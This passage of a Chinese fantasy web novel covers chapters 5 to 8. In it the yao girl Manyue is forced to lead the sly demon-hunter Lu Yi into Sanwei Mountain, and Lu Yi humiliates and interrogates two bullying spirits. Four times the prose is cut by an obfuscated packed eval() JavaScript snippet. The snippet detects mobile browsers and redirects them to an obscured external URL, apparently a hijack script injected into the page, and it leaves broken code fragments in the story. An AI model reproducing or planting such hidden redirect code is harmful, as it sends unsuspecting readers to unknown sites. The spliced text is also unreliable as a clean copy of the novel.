但见身后站着两个少年,与她年岁一般大,素净衣衫,身负长剑,标标准准的除妖师打扮。 满月不自觉后退一步,为了不被看出异样,她勉强端起笑容:“你们……有什么事吗?” 其中一个小除妖师身形颀长,相貌算得上清秀,不知是不是错觉,他的耳根隐隐泛红,面对她的视线,反而更不知所措。 主动唤她的那位少年显得从容多了,笑容友好:“没旁的事,只是觉着姑娘面生,似是从前没有见过,不知姑娘师从何派?日后也好多讨教。” 满月心神一动。 是了,除妖师本来就不算常见,像这种围剿的活动,多半是门派联合,彼此之间或多或少都有所了解。熟人局她这种生面孔就显得尤为瞩目。 满月不知该如何作答才能滴水不漏,只好尴尬笑着。 正当她苦思冥想该如何逃过一劫,有一道声音自她身后的台阶上传来,带着些许散漫笑意,与不加掩饰的傲慢:“她何门何派,与你们何干。” 满月听着这个熟悉的声音,终于是不动声色松了口气。 没想到自己有生之年竟也会感谢路人脸到得及时。 那两位少年一齐看向她身后,瞧清来者,二人的神色不约而同变得复杂起来,有惊讶,有奇怪,亦有一闪即逝的羞愤与不甘。 羞愤? 满月眨眨眼,暗想这个路人脸的人缘也不好嘛,昨晚怎么有脸嘲笑她被妖欺负的。 吐槽归吐槽,满月还是面不改色自动退到了路人脸身后,将场面交给他。 路人脸笑吟吟地瞧着面前的少年除妖师们,没有再说话。 性格更外向主动的少年先上前一步行了平礼:“原是陆师兄,好久不见,没想到能在这里遇到。” 路人脸略一挑眉,似有些讶然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995408|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我们认识?” 客气礼貌的笑容就这么凝固在少年脸上。 另一位更加内敛的少年除妖师皱了下眉:“上月比试大会,我们曾交过手。” 路人脸笑如春风,讲出来的话却宛如刀子:“抱歉,我向来记不住手下败将。” ! 满月嘴角微微一抽,竭力忍着,才控制住自己的表情。 原来路人脸不止对她毒舌,他是平等地去创死每一个人。 满月心里诡异地平衡了些。 对面二人的脸色眼见着都有些挂不住了,路人脸却笑容未变,他回头看了眼满月,不紧不慢:“去吃饭吧。” 满月跟着他下了楼。 幸好楼梯口比较隐蔽,这里发生的事未被多少人看到。 满月快走几步追上慢悠悠的路人脸。 她存了几分试探的心思,面上却仍旧是一副不经意的样子,随口问他:“你姓陆?你既然不打算放我,好歹告诉我你的名字吧,若不然这几天我该如何称呼你?” 路人脸垂眸瞥她一眼,满月莫名心虚起来,不过对方心情看起来似乎不错,没有为难她,反倒真的回答了:“我单字乙。你在人前唤我陆师兄即可。” 满月撇撇嘴,暗道鬼才肯叫他师兄。 可这个字嘛……陆乙?路人乙?不是在开玩笑? 好在她记得原著里并是没有这么一个人。 只要他不是主角团,满月觉得自己还是有希望活下去的。 陆乙答过,转眸瞧她:“你呢?” 满月才不愿告诉他自己的真名。她目光扫过客栈大堂的桌桌椅椅,须臾便有了主意:“……卓,我单字卓,你叫我小卓就行。” 陆乙哦了一声,似笑非笑摇摇头:“你真身难不成是木头?怪不得不怎么开窍。” 满月慢了半拍,才反应过来桌子是木头做的。 ……算了。 和他计较受伤的一定是自己。 早膳不算丰盛,粗茶淡饭味道也一般,不过满月自小在蔓娘子黑暗料理的摧残下长大,一向不挑食,足足吃了两大碗才停下来。 肚子填饱,满月的心情稍好了些。 她放下碗,一抬头就又发现对面的人在看她,脸上照旧挂着那讨人厌的慵懒笑容。 满月这两日可没被少整,这人笑得越温柔,就可能越危险。 她没好气道:“没见过别人吃饭吗?” 陆乙单手支着下颌,听了她的话,倒真的好好想了想才回答她:“只是没见过有人吃饭吃得像你一样香。” 5. 005 ……这是在夸她还是骂她? 见识过陆乙的毒舌功力,满月还真拿不准了。 陆乙站起身:“走吧。” 满月手上还戴着缚妖索,清楚就算不想去他也有的是办法带她走,只得慢吞吞起了身,拖拖拉拉跟在他身后。 三危山山下已经聚集了不少人,有七八人一队,也有三五个成群,各自商量该如何寻得入口。 仔细想来,陆乙确实是个比较奇怪的人,三危山凶险人人皆知,除妖师大多结伴而行,独他孤身一人。 陆乙对山下那群人看都不看一眼,径直往另一条人迹罕至的小路去。 他们起得早,日头还不算晒。 满月磨磨蹭蹭地跟在陆乙后面,故意走得很慢。 陆乙却好似没有发觉她的小心思,竟然也放慢了步伐。 可是越走,满月越发现不对劲。 他并没有照着昨天她走的路来,若是那样还算好,她还能有别的推辞可用,再不济也可以把他引到蔓娘子面前,这里…… 陆乙抬头瞧着两棵茂盛的滕树,藤条遮天蔽日,将日头遮住,只有斑驳的光零星透进来,映在他平平无奇的面容上。 满月没敢出声,在心里祈祷他是误打误撞才来到此地。 然而下一秒,现实就狠狠打碎了她的希望:“虚空阵,原是百年前凌云庄的一位除妖师所创,只以三寸之地升于虚空。三危山如此庞大,本不适用此阵,可却以东南西北中布架而成,能想出此法的人,确实还算有点本事。” 言罢,他并不在乎满月怎么想的,只笑起来,和善可亲地瞧向她,“找不到度母阴司,这里的阵法你总该会解吧?” ……这人到底什么来头。 陆乙再轻描淡写不过的三言两语,却让满月心里打起了鼓。 这些事别说她,就算是蔓娘子也不一定知道。 而且他们现在所在的地方是三危山的北门,人迹向来罕至,若要闯山,确实是最合适的选择,因为山内的大妖一时三刻很难赶过来,空出了不少周旋的余地。 满月站在原地没动。 陆乙也不催促,只是噙着抹似是而非的笑,半敛眼眸,静静瞧着她。 终于还是满月抵不住这份压力,她叹口气,败下阵来:“我不会解。平日里我们进出自如,皆是因为身上有三危山的特殊印记。” 她话说得坦诚,大约也是觉得没有隐瞒的必要。 陆乙既然连阵法的根底都一清二楚,这种地方没理由不知道。 陆乙点了点头:“好吧。既然你还算诚实,我也不为难你。你进去吧。” 满月傻了,没想到竟然会是这种展开:“……啊?” 认真的? 陆乙笑着退后几步,整个人沐在缝隙投下的日光中,让人辨别不清他眼中的神色:“不过投桃报李,我需要你来引路。” 满月:? 陆乙挑眉,笑着看她。 满月后知后觉,终于明白过来这是什么意思。 不照做,她没有利用价值,可能就地被他就地炼化,照做的话,带着生人硬闯三危山,她同样活不下来。 不过虚空阵阵法霸道凶险……说不准他硬闯到一半就没了,这样的话后面也碍不到她的事。 满月纠结了下,道:“虚空阵不是寻常人能硬闯的,你可要想清楚了。” 陆乙言笑晏晏:“不劳你担心。” 谁担心了。 满月白眼都懒得翻。 她最后挣扎了下,心想好言难劝作死鬼,还是抬手施了法。一道淡淡的红光乍现,和昨天夜里不同,满月走上前,穿过了那道无形的屏障,进入了里面。 面前仍旧是遮天蔽日的滕树,只是身后却没了陆乙。 这里乍看之下与刚才别无二致,实际上是另一番天地,正是虚空阵的作用。 满月望着眼前熟悉的景象,明明才一日之隔,却有种恍如隔世的错觉。 她回来了。 满月手腕微有痛感,她垂眸,看到一道金色的光圈出现在她手上,那是未得解开的缚妖索。 陆乙想通过缚妖索强行闯过法阵。 满月和杀人如麻的反派团伙到底不一样,到底还是想救一救这个奇怪的小除妖师。她使出浑身解数挣脱缚妖索,但一如陆乙先前所说,她每尝试一次,便会遭受成倍的噬心之痛。 试过几次,满月还是忍受不了那钻心之痛,只得放弃。 陆乙脑子确实转得快,这么刁钻的方法都能被他想到。 可是三危山的阵法皆由度母阴司亲设,一旦有印记之外的人擅闯,便会启动凶阵,轻则挫骨扬灰,重则魂飞魄散,岂是一个凡人能硬闯的。 “我劝过你的,你死了别来找我。”满月闭上眼睛,双手合十,嘴里念念有词,“我仁至义尽,问心无愧的。” 正当满月以为陆乙会死在阵外,她手腕上的金光却忽然一闪一闪,若隐若现。 满月奇怪,还没想清楚怎么回事,一道暗含威压的声音自天际处传来,雌雄莫辩: “三危之地,何人擅闯!” 满月抬眼看去,不及反应,她就被腕上的缚妖索一扯,毫无防备一头栽进了一个怀抱中。 身后那人捂住了她的嘴。 雪后松木般干净冷冽的气息瞬时充盈鼻尖。 陆乙真的进来了。 满月惊讶地睁圆了眼,看样子陆乙不仅是通过缚妖索进了三危山,而且还毫发无伤。 “别出声。”陆乙在她耳边道。 满月贴着陆乙胸口,心砰砰直跳。 她当然不敢出声,刚才的呵斥,分明是度母阴司感知到了这边的异象,知道有外人闯入了三危山。 她这次真的要被他害死了。 满月欲哭无泪。 安静等待了片刻,确定附近没人,陆乙才放开了满月。 陆乙轻轻在满月手腕上拂过,将才残留的轻微痛感顿时消弭。 满月低头,发现光圈不见了,她动了动手腕,猜到是他将缚妖索收走了。 路人脸什么时候变得这么好心? 满月又惊又疑。她戒备地盯着陆乙,后者面容平静,正观察着外面的情况。 “你要走,现在就是最好的机会。”陆乙不看她,周身仍是那种漫不经心的气定神闲,像是在做再平常不过的事。 满月一怔。 “还不走?”陆乙瞥她一眼,似笑非笑,“现在不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995409|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕我了?” 满月不可置信:“你……真的放我走?” 陆乙轻轻笑起,笑中有嘲弄的意味,他扫她一眼:“再不走就别走了。” 满月听了这话连忙转身,然而刚迈出一步,她像是反应过来什么,停住了。 不对。 经过相处的这一天,满月对陆乙也算有几分了解。 他这人算计一向多,不可能平白无故这么好心。 难道…… 满月倏地回头,自以为想通了一切,气恼地看向陆乙:“你要我去送死?” 陆乙笑着,竟然没有否认:“还不算太笨。” 她就知道! 他闯进来,度母阴司已然被惊动,这个时候她回去,分明就是移动的靶子。 陆乙是要用她来引出度母阴司。 满月只觉得眼前的人太可怕了,笑吟吟就能满脸无害地把她推出去赴死,全无算计利用的愧怍,冷血无情到近乎没有人性。 满月再次确定,他定然不会是原著主角团的人。 满月不确定三危山内部现在是个什么情况,一时半会想不出好办法,只能在原地干着急,被迫同陆乙困在一处。 虽然如此,她还是尽量挑了个离他最远的位置,半点不想和这人再产生交集。 陆乙没有理会她,专心做起自己的事。 林中静悄悄的,继那声呵斥之后,再没有声音传来。 满月兀自纳罕,到底还是没忍住往陆乙那里扫了眼,瞧见他十指翻飞,竟是在……折纸人? 他莫不是失心疯了。 满月又探头往外瞧了瞧,仍旧没人找来。 “放心,进来前我隐了行踪,你们阴司大人即便知道有外人闯入,一时也查不到是在何处。”陆乙头也不抬,却对她的动向了如指掌。 满月收回视线。 她又看了眼陆乙,少年除妖师专注着手上的动作,脸上难得没了那种欠揍的笑容,长睫微垂,是罕见地认真。 满月有些奇怪,她往角落里缩了缩,见陆乙并没有解释的打算,好奇心还是战胜了原先的恼怒,问他道:“你在做什么?” 陆乙仍没抬头,他将最后一个折好的纸人归位,方才慢悠悠道:“自然是找人替你送死。” 满月:? 陆乙手一抬,地上折好的十只纸人就像有了生命一般,歪歪斜斜站了起来。 满月还从没见过如此的奇人异术,不觉看入神了。 纸人的身形逐渐与真人大小无异,它们渐变得有血有肉,只是面上没有五官,混沌一片。 陆乙也不打算再画五官,他将灵力度入纸人之中,纸人活动起来,四散着各自走开。 满月这才明白陆乙的用意。 十只纸人便是他放在三危山的眼线,也是引出度母阴司的诱饵。 这人……确实是有些厉害的。 做好这些,陆乙才慢条斯理起了身。 他垂眸,面上重又带回了那种懒洋洋仿佛一切都不看在眼中的笑容,好整以暇看向满月:“我说过,你再不走就走不掉了。” 满月愣了愣。 “既然你不想回去。”陆乙笑得眉眼弯弯,“那我也没办法了。” 6. 006 啊? 什么意思? 满月眨眨眼,一时没反应过来。 陆乙笑眯眯看着她:“都说了我隐了行踪。你们那位阴司大人,只知道有人闯进来,却不能知是如何进来、从哪儿进来的。你刚刚若是听了我的话直接走,只怕现在已经回去了。” 满月越听这话,心越是发凉。没等他说完,她已是回过味来。 如果换一个没那么多心的,听他的话走就走了,反倒可能无事。 偏偏她那时起了疑心,多试探了一句。 可仔细想想,他既然有纸人这一手,其实完全没必要再用她当诱饵。 这波叫,聪明反被聪明误。 明白过来的满月气血上涌:“你……” 陆乙挑眉笑道:“嗯?” 满月:“你刚刚是故意那么回答的。” 她自以为摸透的陆乙,殊不知陆乙才是真正摸透了她。他早就知道她会多疑,所以才故意这样做。 陆乙笑了笑,不置可否。 满月捂着耳朵蹲了下来,心如死灰:“你害惨我了。” 真像一只垂耳兔。 陆乙忍住蠢蠢欲动想戳她发髻的手,笑容灿烂:“是你以己度人,曲解我的好意,怪不得我。” 满月怒目而视:“可我说你要我送死,你分明没有否认。” 陆乙从善如流:“我若否认,你会相信?” ……不会。 扪心自问,满月一开始就对陆乙抱有极深的偏见。就算他否认,她也一定会认为他是在骗她。 都怪这人说话真真假假,根本捉摸不透啊! 陆乙笑眼弯弯:“你来猜猜,现在你们的那位阴司大人在干什么?” 满月想也不用想:“怕已是让大妖在封山清点人数了。” 度母阴司生性多疑,只要点查的时候满月不在其列,日后就算回去,也会将她当细作一并处置。 他这是彻底把后路斩断了,让她退无可退。 陆乙倒是心情极好,他屈指敲了下满月的脑门,说得有理有据:“度母阴司为害一方,天下早容不得他,被铲除是迟早的事。我帮你及时弃暗投明,日后可要好好谢我。” 满月:“……” 谢你大爷。 她用尽毕生的涵养才克制住骂人的冲动。 ……当然也有知道自己打不过对方的原因。 陆乙收起剪纸人没用完的符纸,笑吟吟道:“反正你也回不去了,不想死就随我来吧。” 言罢他转身往茂林深处去。 留在这里也是等死。满月只得拖起沉重的步伐,亦步亦趋随行陆乙身后。 她早知自己是炮灰的命,不成想没折损到主角手上,倒是被路人甲,不,路人乙坑个半死。 走着走着,陆乙忽然停下来,后面的满月还沉浸在悲伤的心绪中,一不留神,迎头撞在他背上。 “你……”满月捂着被撞红的额头,一抬头,看见陆乙朝她比了个噤声的动作。 满月忙住了口。 陆乙不多解释,只将一道映着金光的符纸塞给满月,言简意赅:“用这个可以暂隐身形。” 满月犹豫了下,她被陆乙坑害的次数实在太多,着实不敢再轻易相信,鬼知道又有什么门道。 正迟疑着,茂林前窸窸窣窣传来声响,紧接着满月听见一个有点耳熟的声音:“就在这一片,仔细检查,勿要放过任何一个地方。” 这下没什么好迟疑的了。 满月依言贴在自己额头,不消片刻,果真藏匿无形。 反观陆乙,却一点没有隐去的意思。 他轻轻一跃,便藏身在茂密的树冠之中。 杂乱的声响越来越近。 满月紧贴着树干,屏气凝神,生怕头上的符纸掉了,直接被就地正法。 不久,声响的主人陆续现了身。 这是群和满月差不多年纪的小妖怪,正在奉旨巡山。 小妖怪们俱是初生牛犊不怕虎,还没有大妖得过且过的老油条摸鱼心态,一个个充满干劲得很,里里外外就差把草皮也掀起来看一看。 很快满月就在其中看到几个熟面孔。 为首的是个身材健硕的少年,名叫铁牛,是个犀牛精。 他比其他小妖高出许多,一身腱子肉铜墙铁壁,与稚嫩的脸庞形成鲜明对比。 在三危山,妖怪之间向来有严格的等级评定。 最底层的小妖按资质、能力、贡献,分别分为甲乙丙丁戊五个班次。 满月能力不强,在戊字班都算吊车尾的那一批,铁牛却与隔壁的小莲一样,都是甲字班的风云人物。妖界向来崇尚弱肉强食的野蛮法则,学典之时,她没少被他欺负。 铁牛带着手下小弟从滕树下路过,满月条件反射地往旁边缩了缩。 不想铁牛却突然停了下来,吸了吸鼻子,一脸困惑。 旁边的蝎子精纳罕:“老大,你闻什么呢?” “我总觉得这里有股熟悉的味道。”铁牛揉揉鼻子,满脸嫌恶,“和那个小废物身上的有些像。” 满月嘴角微微抽了下。 符纸虽能隐形,但不能藏去气息。 这头蠢牛鼻子还挺灵。 满月不着痕迹地退后了两步。常年的斗智斗勇中,她对铁牛了若指掌,这家伙嗅觉是一等一的好,但头脑简单仿佛时刻在进水,根本不会猜出原因是什么。 反倒是他身边的蝎子精更值得注意一些。 好在蝎子精鼻子一般,他也嗅了嗅,却是什么都没闻到。 蝎子精嘿嘿一笑,半开玩笑半认真道:“我看老大是太久不见那小废物了,想念得紧,才闻什么都像她。” 犀牛精面色一沉,大手一挥,推得瘦弱的蝎子精连连后退:“滚滚滚,我想念她?开什么玩笑,那碍眼的小废物,我看到她就来气。” 蝎子精嘻嘻一笑,很是猥琐:“她在修为上废是废了点,不过老大不觉着她长得还挺可爱的?我听说隔壁的老吴可喜欢她了,做梦都喊她媳妇。” “老吴?”铁牛嗤笑一声,不以为意,“上次被我吓破胆子尿了裤子的那个蜈蚣精?也是,臭虫配废物,天生一对。” 满月听着二人言辞之间对她的诋毁,早习以为常。 妖的世界没有温良恭俭让的遮掩,到底恶得更赤.裸裸一些。 不过满月虽法力低微,但脑瓜子还算机灵,多少有点小聪明在。铁牛在她这里其实并没有讨到多少好处,真不知道他怎么如此有脸大言不惭的。 蝎子精被逗乐了,趁机怂恿:“依我看,下次学典老大不如做做好事,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995410|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她跟老吴锁进一间房,下点料进去,也算是成人之美。” 犀牛精仔细一琢磨,认为可信,津津有味道:“这主意不错,你说臭虫和废物,是生一窝废物出来,还是生……” 一窝臭虫四个字尚未出口,犀牛精额头就狠狠挨了一下。 “哎呦!”铁牛吃痛,一面捂住额角,一面怒目圆睁,“哪个不长眼东西敢砸我?” 铁牛打量四周,他们闲聊的工夫,其他小妖怪搜完这一带早走远了,除了蝎子精外空无一人。 铁牛抬头看了看,也没看出个什么所以然来。 他骂骂咧咧,以为是枝头的藤果被风吹下来误砸了他。 一旁目睹了全程的满月却险些笑出声。 蠢货。 她抬眸瞧了眼树上繁茂的枝叶,影影绰绰间,蓝衣少年的身形若隐若现。 得亏那犀牛精眼神不好,要不然肯定发现异样。 铁牛泄愤似的踹了两脚树,正要离开,没走几步,后脑又挨了一下。 铁牛痛得跳起来,他头脑着实简单,见四下无人,凶狠的目光锁定在跟在他后面的蝎子精身上,不问青红皂白,揪住他衣襟,咣咣给他两拳:“是不是你小子砸我?” 蝎子精吃痛,抱着肚子叫了两声,见铁牛又扬起铁拳,忙护住头,说道:“不是我不是我!老大我可是一直跟在你旁边的,怎么可能拿东西砸你!” 铁牛脑子一根筋,只要他认定的事,就不会再多去考虑:“不是你还有谁?这里就你我两个,你敢耍我?” 蝎子精虽是鬼主意一堆,拳头功夫上却是毫无招架之力,三两下被打得鼻青脸肿。 他一边躲一边求饶:“真的不是我!老大别打了!” 满月冷眼旁观着眼前的闹剧,不为所动。 铁牛是山上有名的关系户,他有个姨夫是度母阴司身边的红人,权势滔天,为了讨好度母阴司,没少干丧尽天良的坏事。铁牛跟着他姨夫要风得风要雨得雨,再加上他天生神力,同辈中没几个比得过,因而在小妖怪里极富威望。 相形之下蝎子精逊色许多,身世妖力都一般,也只有脑子转得快一项优点。他本该也是默默无闻小妖怪中的一员,因时常给铁牛出主意整人,才成了与铁牛形影不离的跟班。 铁牛痛击队友也一点不手软,直把蝎子精打得嗷嗷怪叫,避无可避。 满月旁观这一切,心里却丝毫不同情,铁牛莽,蝎子精毒,作为铁牛的外置大脑,那些恶毒的主意几乎都出自于他,也活该他自讨苦吃。 铁牛发泄完,踢了蝎子精一脚才罢休。 他拍拍手上的灰,道:“别以为老子脾气好就敢蹬鼻子上脸,再搞这些小动作,当心我翻脸不认人。” 蝎子精鼻青脸肿地抱头蹲在地上,心中别提多屈辱了,面上却还是生生挤出个笑:“我,我哪敢啊,老大,刚才真不是我……” 铁牛见他又在否认,牛脾气上来,眼睛一瞪就举起手,然而这一次他拳头还没落下,却先听到树梢上有人在笑。 笑? 铁牛与满月一齐抬了头。 蓝衣少年没再遮掩身形,他坐在粗壮的树干上,手托着脸,笑眯咪觑着底下的人。 满月脑子嗡的一声,cpu都干烧了。 糟了。 她暗道。 7. 007 铁牛眼睛瞪得铜铃大,他完全没意识到问题所在,正骂骂咧咧叫嚣着要胖揍对方一顿,地上的蝎子精眼睛滴溜一转,立马反应过来,高声喊道:“老大快抓住他!他是生面孔,肯定是阴司大人要找的人!” 铁牛呆滞了下,慢半拍明白过蝎子精话里的意思后,脸上愤怒立刻转为了狂喜。 铁牛人是蠢了点,上进心还是有的。 只要抓到人,泼天的富贵都是他的! 铁牛立即召唤出与他一脉相承的本命妖器大铁锤,他框框往树上砸,想着树倒了人定然跑不了。 他一身蛮力是实打实的,力道之大,看得满月胆战心惊。 满月一边用手捂住被震得发疼的耳朵躲远了些,一边有些埋怨地看向树梢。 这小子行不行啊。 陆乙不所为动,他手托着下巴,优哉游哉觑着底下的憨憨。 很快,蝎子精就发现了不对劲。 不仅这树纹丝不动,树上的人也丝毫不受影响。 那蓝衣少年甚至百无聊赖地甩起了自己身上系着的铃铛。 蝎子精察觉到不对劲,他脑子转得很快,默不作声往后退了几步之远,才皱眉道:“老大,这树,这树没动静啊!” 讲得是一片赤心忠胆,好像刚刚才发觉似的。 铁牛听他一提才反应过来,他仔细看了看一点没被伤到的树干,仰起头怒道:“躲在树上算什么能耐?有本事,有本事你下来!” 陆乙并没被他的话激怒,他不紧不慢换了只手撑脸,懒洋洋笑道:“你有本事你上来。” 真是一句话戳到了肺管子。 满月乐不可支,全程看戏看得乐呵。 有句话怎么说,恶人自有恶人磨。 铁牛在三危山一向是众星捧月的存在,几时被人这样嘲讽过,他将铁锤收起,撸起袖子,恶声恶气朝着树上喊:“臭小子你给我等着!” 陆乙不为所动,仍只是居高临下笑着瞧他。 铁牛着实恼了,他被激怒,一时什么都顾不得,手脚并用就开始往树上爬。 常言道,不蒸馒头争口气,他铁牛深以为然! 然而这树对一身腱子肉的铁牛并不怎么友好,他爬得十分笨拙,看上去可笑极了。 铁牛第三次从树上出溜下来,满月到底还是没忍住笑出了声。 铁牛脑子一根筋,以为这笑声是树上的蓝衣少年发出来的,愈加恼羞成怒:“你找死!” 言毕铁牛又一次祭出自己的本命妖器,也不管有什么后果,一把将大铁锤砸了出去。 铁锤在妖力的操控下向着陆乙砸去。 满月脸上的笑容立隐,眼中有了几分认真。 这铁牛没旁的,但一身蛮力还是有点东西的。 树上的陆乙并不急着闪躲,直到铁锤临近,他才不紧不慢地侧了侧头,仍由铁锤擦着他耳际呼啸而过。 铁锤落在后面的树上,轰的一声,大树摇摇晃晃砸了下来,扬起地上一片浮灰,足见力道之大,惹得满月暗自咋舌。 铁牛施展妖力,控制着铁锤回旋,妄图杀个回马枪。 陆乙却没给他这个机会。 陆乙似乎玩腻了,他看也不看身后,懒懒一抬手,玄冰直接将铁锤冻在了空中。 铁牛与旁观的满月俱是一愣。 蝎子精看出些门道。 他眼珠子骨碌一转,知道大事不妙,忙冲着铁牛道:“老大快喊人来!这人不简单,你不是他的对手。” 铁牛面色铁青,几欲控制铁锤回来,然而纹丝不动。 倒是陆乙纵身一跃,轻盈地落了地。 他看着铁牛,虽是在笑,眼里却是深不见底的嘲弄:“我下来了,你待如何?” 铁牛不自觉退后一步,眼中有恐惧一闪即逝,被在旁的满月捕捉了个清清楚楚。 铁牛在三危山上为非作歹十几年,天不怕地不怕的小霸王,满月还是头次见他露出这种表情。 尽管早就知道陆乙强,不曾想竟强到这种地步。 满月摸摸有些发寒的后颈,自觉退到树后。 一如满月所言,铁牛长这么大从不知怕为何物,有生之年还是第一次在一个陌生人身上感受到了这股莫名的压迫感。 他莽归莽,这种时候还是明白活命要紧。 “不,不关我的事。”铁牛吓得牙齿打颤,习惯性就要甩锅,“他!都是他指使我的!” 说着他指向蝎子精先前所在的位置。 陆乙挑眉:“哦?” 铁牛顺着自己所指的方向一回头,这才发现不知何时起那里已经空无一人。 原来蝎子精刚刚之所以喊他,就是为了让他吸引住陆乙的全部注意力,自己好全身而退。 满月笑着摇摇头。 要不然说是好兄弟呢,危难关头想的一模一样。 狗咬狗的戏码,好看,爱看,天天看。 不过…… 陆乙这么明目张胆,就不怕惹来大妖吗? 满月转眸瞥向拔腿跑向树林的蝎子精,蝎子精头都不带回一下,一边跑一边吹起哨来。 这是他们妖怪间用于通信的一种方式。 满月正犹豫要不要提醒陆乙,却看见那蝎子精没跑出去多远,突然迎头撞在看不见的屏障上。 阵法上的真言立即映出金光,蝎子精痛叫一声,被真言振回,好巧不巧砸在了铁牛身上,两眼一翻,当场昏过去。 结界。 原来早在铁牛二妖在树下停留时,陆乙就已经开始暗中布阵,用石头砸他,不过是为了拖长时间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995411|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满月很快想到这一层。 她不动声色地又往树后缩了缩,再一次为陆乙的深不可测而心生寒意。 她这是,招惹了怎么样一个怪物回来。 陆乙慢条斯理走到铁牛身前,他挑了下眉,似笑非笑:“谁是废物?” 铁牛止不住哆嗦。 他只恨刚刚昏过去的不是自己,要遭受这种无妄之灾。 来不及思考陆乙为何这么问,为了活命,铁牛直接脱口而出:“我,我是废物!仙长饶命!” 陆乙被逗笑了。 不知是不是错觉,满月似乎看到他往自己所在的地方轻轻瞟了眼,方才慢悠悠继续道:“你们三危山的妖,倒是一个比一个没骨气。” 满月撇撇嘴,索然无味地往树后藏了藏。 铁牛吓得浑身发抖,全然不似平日里盛气凌人的模样。 他苦苦哀求:“是我有眼不识泰山,仙长饶我一命……” “饶你一命好说。”陆乙笑意盈盈,说的还是熟悉的话,“带我找到度母阴司,我就不杀你。” 三危山上甚少有人敢直呼度母阴司的名讳。 铁牛听到这四个字,下意识地面色一变,说话打起了磕巴:“阴,阴司大人向来神隐,我们这些小妖,如,如何敢知她去处。” 陆乙稍抬了抬下颌,眉眼的倨傲一览无遗,他笑道:“既如此,留着你也没用了。” 陆乙言罢抬手,铁牛知道他的杀意不是作假,吓得忙护住头,急道:“我虽不知阴司大人何在,可我知道什么地方能找到他!” “哦?”陆乙笑吟吟地收回手,饶有兴味瞧着他,“你怎么知道的?” 命悬一线,铁牛也顾不得其他,当即一股脑将自己知道的事情全盘托出:“我,我是听我姨夫酒后不小心说漏嘴的,他是阴司大人身边的得力干将,说阴司大人多年前曾受过重伤,因而从不轻易以真身示人。阴司大人极为看重三危山下三方大阵,所以他曾怀疑阴司大人的真身与三阵有关……我知道的只有这么多了,仙长开恩,饶我一命!” 铁牛朝着陆乙连连磕头,额上都磕出了红印。 偏偏陆乙不置可否。 他目光穿过铁牛,往他身后的方向遥遥瞧了一眼,若有所思:“原来是这样吗?” 铁牛还在磕头,陆乙却没再理他,而是径直朝前走去。 就在铁牛以为自己即将逃过一劫,刚松下一口气,陆乙却忽然停住了脚步。 他回头,身影逆在光中,面容看不清楚,语气却还是一如既往的懒散:“对了,差点忘了你。” 铁牛刚松下的背蓦然一紧,他浑身僵直,不敢朝后看。 “考虑了这么久。”陆乙笑着,口吻亲昵,一如对待自己的挚友,“想好怎么死了吗?” 8. 008 “呜呜。”铁牛被塞了一嘴的烂泥巴烂树叶,两只牛眼布满血丝,死死盯着满月。 “看什么看,再看把你眼珠子挖出来,再灌烂泥巴进去,省的以后天天打量不该打量的人。” 满月手黑心狠,一面放着漫无边际的狠话,一面眼疾手快地勒紧了绳索,直将铁牛勒得差点吐出来。 铁牛眼里沁出了从未有过的泪水,清澈的愚蠢一览无余,“呜呜”叫个不停,乞求满月放他一马。 满月只当看不见,手上的力道又紧了紧,将他牢牢绑在树干上。 做好这些,满月最后又检查了一边绑在树上的两只妖,确认没问题,才从地上捡起一块石头,快准狠朝着铁牛的头砸去。 铁牛嗷呜一声,终于如愿以偿和蝎子精一样昏了过去。 满月松了口气,这才快走几步追上等在前面的陆乙。 陆乙转眸瞧她:“处理好了?” 满月听着这话怪怪的,就好像他俩是什么分工明确的犯.罪团伙。 她拍拍手上不存在的灰尘,面无表情:“我绑得可紧了,嘴也堵严实了,就算你的结界放开,他们也没法喊出声。” 陆乙笑了笑,转过身先走一步:“不错嘛,脑子不怎么灵光,好在手脚还算利落。” 满月听他似夸非夸,暗道狗嘴里吐不出象牙。 好在相处这两天,她深谙他气死人功夫一流,早习以为常,不怎么往心里去,只道:“我还以为你会杀了他们。” 